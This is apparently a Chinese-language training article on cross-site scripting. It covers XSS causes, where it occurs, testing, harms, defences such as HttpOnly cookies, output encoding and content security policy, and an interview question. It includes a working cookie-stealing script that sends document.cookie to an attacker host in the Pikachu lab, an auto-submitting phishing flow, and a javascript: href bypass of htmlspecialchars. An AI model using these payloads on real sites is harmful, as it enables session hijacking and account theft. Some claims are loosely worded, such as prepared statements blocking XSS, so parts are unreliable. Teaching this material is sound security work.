Web渗透测试之XSS跨站脚本原理出现的原因出现的位置测试的方法危害防御手段面试题一篇文章给你说的明明白白

XSS介绍的原理和说明

Cross Site Scripting

钓鱼

XSS攻击原理

XSS漏洞出现的原因：

XSS产生的原因分析

XSS出现位置：

XSS测试方法

XSS的危害

防御手段：

其它防御

面试题:

备注：

XSS介绍的原理和说明

嵌入在客户端脚本对客户端进行攻击的
Owstop ten 十大漏洞

OWASP（开放式Web应用程序安全项目）的工具、文档、论坛和全球各地分会都是开放的，对所有致力于改进应用程序安全的人士开放，其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ，总结了Web应用程序最可能、最常见、最危险的十大漏洞，是开发、测试、服务、咨询人员应知应会的知识。

Cross Site Scripting

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过用户本地浏览器执行的，所以在代码审计中xss漏洞关键就是寻找参数未过滤的输出函数。

钓鱼【XSS实例中的一种】

"<script> document.location = 'http://192.168.1.7/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>"

整体的获取过程

先看看哪里有xss漏洞再去干
黑客先登录这个网站清除cookie信息
钓鱼就是调cookie
网址没有变化就是post请求不是get请求
document.getElementById("postsubmit").click();
找到这个标签自动点击这个标签
----------------------------------------------------------------------------------------------------------
1 首先解析自上而下执行完成
2 获取cookie攻击代码获取浏览器cookie
3 执行windowws.onload 开始执行这个方法
4 执行这个方法 document.getElementById("postsubmit").click();执行这个按钮
5 发送这个html给用户用户使用用户名密码进行登录 cookie就发送给黑客的网站了
6 这样的方式就叫做钓鱼

XSS攻击原理

XSS漏洞出现的原因：

程序对输入和输出的控制不够严格
- 导致"精心构造"的脚本输入后
- 在输出到前端时被浏览器当作有效代码解析执行从而产生危害

XSS产生的原因分析

服务端程序没有对输入输出严格的过滤
- 导致黑客精心构造的输入脚本，输入到了服务端
- 然后并且输出浏览器当成有效的代码执行了，导致了客户端收到了攻击。
如果客户端不是有效的代码，只是数据，攻击客户端的只有可执行的程序

只要不是程序就执行不起来，浏览器默认解析js代码，解析就会执行这个代码。
如何让他不执行
这个后端就会有防御手段。

XSS出现位置：

哪里提交了数据
哪里展示了数据
也就是有输入有输出的地方 js只有在浏览器不能执行只能在浏览器上运行
用户输入输出用户交互的地方都可能存在xss攻击
Html文档中标签中
URLContext
Css样式

XSS测试方法

工具扫描

手工测试

工具和手工都需要我们去综合利用

XSS的危害

窃取cookie的sessionid，冒充用户登录
盗取各类用户账号，如机器登录帐号、用户网银帐号、各类管理员帐号
盗窃企业重要的具有商业价值的资料
控制受害者机器向其它网站发起攻击（重定向语句）
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
强制发送电子邮件
网站挂马
非法转账

防御手段：

用户提交数据的时候
没有在客户端进行过滤js代码，当然也可以绕过让过防御手段。

服务端将js存储在数据库中的代码
服务端给出html代码，攻击代码被服务端解析到html
发送给客户端了，这样客户端就解析了xss代码
这个时候服务端就需要做输出过滤不在是js代码是普普通通的数据】客户端就不会执行js代码

如果您在cookie中设置了HttpOnly属性
那么通过js脚本将无法读取到cookie信息
这样能有效的防止XSS攻击导致的cookie被盗取。

对输入进行过滤或清理

使用预备语句
在数据库查询中使用预备语句以避免XSS攻击通过输入传播到数据库

实施输出编码
确保在输出到HTML时使用适当的HTML编码函数

使用内容安全策略

审查和测试

定期进行安全审计和漏洞扫描

其它防御

对输入进行过滤

对输出进行编码 --- 编码指的是html实体编码

输入输出的位置

输出给了js，js代码中直接将编码正常的标签编码 ----- 输出到html能识别的编码

面试题:

如果服务端使用了htmlspecialchars 防范

你该如何处理我们使用

JavaScript伪协议

使用前提

xss之href输出绕过：javascript:alert(1111)

直接代入a标签herf里面一样可以绕过htmlspecialchars

如果没有把用户提交的数据交给a标签，其实很难绕过了

以及js代码写入进行绕过